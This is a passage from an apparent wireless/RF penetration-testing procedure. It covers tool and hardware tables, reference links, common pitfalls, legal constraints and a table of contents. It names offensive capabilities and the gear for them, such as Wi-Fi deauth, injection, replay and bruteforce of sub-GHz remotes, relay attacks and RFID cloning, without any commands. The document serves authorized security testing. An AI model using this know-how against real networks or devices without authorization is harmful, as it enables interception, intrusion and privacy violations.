GNU Radio + GRC	SDR	Visual signal-processing flowgraph	gnuradio.org
GQRX	SDR	Spectrum analyzer + demod (RX)	gqrx.dk
SDR++	SDR	Modern spectrum tool	sdrpp.org
Inspectrum	SDR	Visual cfile inspector	github.com/miek/inspectrum
Universal Radio Hacker (URH)	SDR / sub-GHz	Point-and-click protocol RE	github.com/jopohl/urh
rtl_433	Sub-GHz	Known-protocol decoder	github.com/merbanan/rtl_433
RfCat	Sub-GHz	Yard Stick One TX/RX research	github.com/atlas0fd00m/rfcat
Wireshark	All	PCAP inspection (802.11, 802.15.4, BLE, LoRaWAN, Z-Wave dissectors)	wireshark.org

Recommended Hardware

Hardware	Use	Notes
Alfa AWUS036ACH / AWUS036ACS / AWUS036ACM	Wi-Fi monitor + injection	RTL8812AU / MT7610U / MT7612U chipsets — verify current driver state per kernel [verify 2026-04-26]
ASUS USB-AC68	Wi-Fi 5 USB	Linux driver community-maintained
Panda PAU09	2.4/5 GHz USB	Older RT5572 chipset, well-supported
nRF52840 dongle (Nordic)	BLE / Thread / Zigbee	Multi-protocol; cheap
TI CC2531 USB stick	Zigbee / 802.15.4	KillerBee-supported
Silicon Labs EFR32MG24 dev kit	Zigbee / Thread / Matter	Vendor reference
Proxmark3 Easy / RDV4	NFC / RFID	RDV4 has more memory, swappable antennas
Flipper Zero	Multi	Consumer tool; check regional TX restrictions
RTL-SDR Blog v3	Generalist RX SDR	Cheapest entry
HackRF One	TX/RX SDR	1 MHz - 6 GHz, half-duplex
LimeSDR Mini 2.0 / BladeRF 2.0 / USRP B210	Full-duplex SDR	For relay attacks, repeaters, full-duplex GNU Radio flowgraphs
Yard Stick One	Sub-GHz TX/RX (RfCat)	Good for replay/bruteforce of 300/433/868/915 MHz remotes

Reference Resources

Comprehensive Knowledge Bases

HackTricks Wireless / Bluetooth / Pentesting Network — book.hacktricks.wiki (domain migrated from book.hacktricks.xyz in 2024 [verify 2026-04-26])
Aircrack-ng wiki — aircrack-ng.org/doku.php
Bluetooth SIG specifications — bluetooth.com/specifications
IEEE 802 standards — standards.ieee.org/standard
Sigidwiki — sigidwiki.com — catalog of unknown/known signals (community)
GNU Radio wiki — wiki.gnuradio.org

Attack Research Deep Dives

Dragonblood (Vanhoef & Ronen, 2019) — wpa3.mathyvanhoef.com — WPA3 SAE side-channel and downgrade analysis
KRACK (Vanhoef & Piessens, 2017) — krackattacks.com — 4-way handshake reinstall attack
FragAttacks (Vanhoef, 2021) — fragattacks.com — 802.11 frame-aggregation/fragmentation flaws
PMKID attack (Steube, 2018) — Hashcat forum announcement; foundational for hcxdumptool workflow
KNOB / BIAS / BLURtooth / BLESA — Bluetooth core attacks; track CVE references in NVD
BrakTooth / SweynTooth — vendor-stack BLE/BR-EDR fuzzing (Singapore U Tech & Design)
Z-Shave / EZ-Wave (Wright et al., 2017) — DEF CON 25 talk + tooling [verify 2026-04-26]
Practical Wireless Hacking (KeyZ Hu, 2020) — Z-Wave + Zigbee CTFs / write-ups [verify 2026-04-26]

Defense & Hardening

Cisco WPA3 Deployment Guide — cisco.com — search for current WPA3 deployment guide [verify 2026-04-26]
NSA Cybersecurity Information Sheets — Wireless — nsa.gov/cybersecurity-guidance [verify 2026-04-26]
NIST SP 800-153 — Guidelines for Securing Wireless LANs (note: legacy doc, last updated 2012; check for successor [verify 2026-04-26])
NIST SP 800-121 Rev. 2 — Guide to Bluetooth Security
CIS Wireless Benchmarks — cisecurity.org/cis-benchmarks (search "wireless")
IoT Security Foundation — iotsecurityfoundation.org

Hands-On Practice

Offensive Security PEN-210 (Wireless Attacks) — offsec.com [verify 2026-04-26]
SANS SEC617 (Wireless Penetration Testing and Ethical Hacking) — sans.org [verify 2026-04-26]
HackTheBox / TryHackMe wireless rooms — search current catalog
Trommell-Z3 / Practical IoT Hacking labs — theiotlearninginitiative.com [verify 2026-04-26]

Common Pitfalls

❌ Transmitting on any band without explicit authorization or a Faraday-cage test environment
❌ Skipping PMF / WPA3 capability check — running deauth attacks against PMF-enforced clients fails silently and tips off the SOC
❌ Treating WPS lock-state as definitive — some APs report locked but still respond to PIN attempts
❌ Recording SDR baseband at insufficient sample rate (Nyquist violation; signal cut off; demodulation fails downstream)
❌ Mixing real customer evidence with operator's own RF traffic (always operate from a dedicated lab interface, sacrificial MACs, separate antennas)
❌ Using consumer Bluetooth dongles for sniffing (visibility limited to host-side HCI; LL/PHY observation needs dedicated sniffer hardware)
❌ Trusting marketing on stack patch-state (firmware-RE the actual stack to confirm KNOB / BIAS / BLURtooth fix presence)
❌ Cloning RFID cards beyond the engagement scope (one card per door, per scope item, with serial number recorded; do not duplicate "for convenience")
❌ Forgetting that Flipper Zero sub-GHz TX is restricted in some carrier/region firmware builds — confirm device compliance per engagement region
❌ Leaving evidence (handshake captures, key files, baseband recordings) on the test laptop after engagement close
❌ Treating LoRa raw point-to-point as automatically authenticated (it isn't; LoRaWAN MAC is the authentication layer)
❌ Neglecting the regulatory paper trail — even RX-only logging in some jurisdictions (UK Wireless Telegraphy Act 2006, partly) requires that captures of certain communications be neither published nor disclosed

Legal & Ethical Considerations

Wireless/RF testing transmits into shared spectrum. The canonical legal framework is in Legal & Ethics; this section names only the wireless-specific exposures.

FCC Part 15 / regional equivalents are binding even when the customer authorizes the test. Authorized doesn't mean licensed; transmitting outside Part 15 unlicensed-band rules requires a license. Out-of-band TX, even by accident (harmonics, intermodulation), is enforceable.
UK Wireless Telegraphy Act 2006 restricts disclosure of certain intercepted communications even when capture is incidental. Treat any captured payload from third-party devices as potentially regulated; do not redistribute.
EU Cybercrime Directive 2013/40/EU + national implementations (FR LCEN, DE §202c StGB / "Hackerparagraph", IT Codice Penale 615-quater) treat unauthorized interception and key recovery as offenses regardless of intent. Written authorization for the spectrum + the targets is necessary, not optional.
CFAA (US) has been applied to wireless attacks (deauth + capture used to enable downstream unauthorized network access). The wireless-only step plus the network-access step together form the offense.
Jamming is criminal in nearly every jurisdiction. Even narrow-band, even short-duration, even "just to test response" — FCC Section 333 (US) prohibits willful interference. RoE that mentions jamming must be vetted by counsel before any TX.
Spectrum used by emergency services, aviation, maritime, public safety, GPS — never transmit. Out-of-scope by default.
Cross-border hardware shipping for HackRF / LimeSDR / BladeRF / USRP may trigger ECCN export controls; check before shipping internationally [verify 2026-04-26].
Bystander privacy. Wi-Fi probe-request and BLE advertising captures contain MAC addresses (or randomized identifiers) of devices belonging to people who have not consented. Treat probe/adv data as personal data under GDPR Art. 6/9 where applicable; minimize collection, hash MACs that don't matter to the finding, and destroy at engagement end.
DMCA §1201 intersects when wireless testing recovers keys baked into firmware (cross-link Firmware RE); the security-research exemption (Library of Congress triennial cycle) applies but is narrower than commonly believed.

OPSEC framing (operator handle, sacrificial gear, MAC randomization, IOC defang) lives in OPSEC.

Engagement governance:

Legal & Ethics - Canonical CFAA / CMA / Cybercrime Directive / DMCA framework + regulatory radio-emission rules
OPSEC Plan - MAC randomization, sacrificial gear, IOC defang, operator infrastructure
Collection Log - Chain-of-custody for PCAP / HCI / SDR baseband artifacts
Reporting & Disclosure - Out-of-band hand-off of recovered keys, defanged report delivery

Pentesting & Security:

Firmware Reverse Engineering - Radio-stack firmware RE; embedded BLE/Zigbee/LoRa SoC analysis; key extraction from flash
Mobile Security - BLE / Wi-Fi attack surface as it presents on iOS / Android targets
Active Directory Pentesting - WPA2-Enterprise → AD credential capture chain
Cloud Pentesting (AWS/Azure/GCP) - Cloud-managed Wi-Fi controllers (Aruba Central, Cisco Meraki, MS Cloud Mgmt); admin-plane review
Detection Evasion Testing - Wireless IDS / WIPS coverage testing
Vulnerability Research - Novel RF-stack vulnerabilities; fuzzing 802.11/802.15.4/BLE
Bug Bounty Methodology - Hardware/IoT bounty program scoping

Analysis:

Cryptography Analysis - WPA2 / WPA3 / Bluetooth / LoRaWAN crypto primitives
Reverse Engineering - Disassembly of captured radio-stack firmware
Malware Analysis - IoT-resident malware acquired via wireless ingress

Version: 1.0 · Last Updated: 2026-04-26 · Review Frequency: Quarterly for Wi-Fi / Bluetooth / Matter (fast-moving spec + tool surface); semi-annual for SDR / NFC / sub-GHz fundamentals (slower-rotating)

Table of Contents​

Overview​

What is Wireless / RF Pentesting?​

Threat Model​

Field-rotation cadence​

Pre-Engagement & Authorization​

Authorization Checklist​

Lab Environment Requirements​

Disclosure-Ready Posture​

Wi-Fi (IEEE 802.11)​

Standards & Generations Quick Reference​

Authentication & Key-Establishment Modes​

Reconnaissance (Passive, RX-Only)​

Handshake / PMKID Capture​

Rogue AP / Evil Twin​

Enterprise (802.1X / EAP) Attack Path​

WPS​

Bluetooth Classic & BLE​

Spec Reference & Pairing Modes​

Notable RF-Layer Attacks (Reference, Not How-To)​

Reconnaissance (RX-Only)​

GATT Enumeration​

BLE Pairing / Encryption Attack Tooling​

802.15.4 — Zigbee, Thread, Matter​

Standards Map​

Tooling​

Common Findings​

Z-Wave​

LoRa & LoRaWAN​

Standards Map​

Common Findings​

Tooling​

NFC & RFID​

Frequency Bands & Common Card Types​

Tooling​

Findings to Look For​

Sub-GHz & ISM-Band Devices​

Notable Vulnerability Classes​

Software-Defined Radio Fundamentals​

Hardware Comparison​

Software Stack​

Common Workflow​

Common Vulnerabilities​

Evidence Collection​

Reporting​

Finding Format​

Remediation Priority​

Tools Reference​

Recommended Hardware​

Reference Resources​

Comprehensive Knowledge Bases​

Attack Research Deep Dives​

Defense & Hardening​

Hands-On Practice​

Common Pitfalls​

Legal & Ethical Considerations​

Related SOPs​

Table of Contents

Overview

What is Wireless / RF Pentesting?

Threat Model

Field-rotation cadence

Pre-Engagement & Authorization

Authorization Checklist

Lab Environment Requirements

Disclosure-Ready Posture

Wi-Fi (IEEE 802.11)

Standards & Generations Quick Reference

Authentication & Key-Establishment Modes

Reconnaissance (Passive, RX-Only)

Handshake / PMKID Capture

Rogue AP / Evil Twin

Enterprise (802.1X / EAP) Attack Path

WPS

Bluetooth Classic & BLE

Spec Reference & Pairing Modes

Notable RF-Layer Attacks (Reference, Not How-To)

Reconnaissance (RX-Only)

GATT Enumeration

BLE Pairing / Encryption Attack Tooling

802.15.4 — Zigbee, Thread, Matter

Standards Map

Tooling

Common Findings

Z-Wave

LoRa & LoRaWAN

Standards Map

Common Findings

Tooling

NFC & RFID

Frequency Bands & Common Card Types

Tooling

Findings to Look For

Sub-GHz & ISM-Band Devices

Notable Vulnerability Classes

Software-Defined Radio Fundamentals

Hardware Comparison

Software Stack

Common Workflow

Common Vulnerabilities

Evidence Collection

Reporting

Finding Format

Remediation Priority

Tools Reference

Recommended Hardware

Reference Resources

Comprehensive Knowledge Bases

Attack Research Deep Dives

Defense & Hardening

Hands-On Practice

Common Pitfalls

Legal & Ethical Considerations

Related SOPs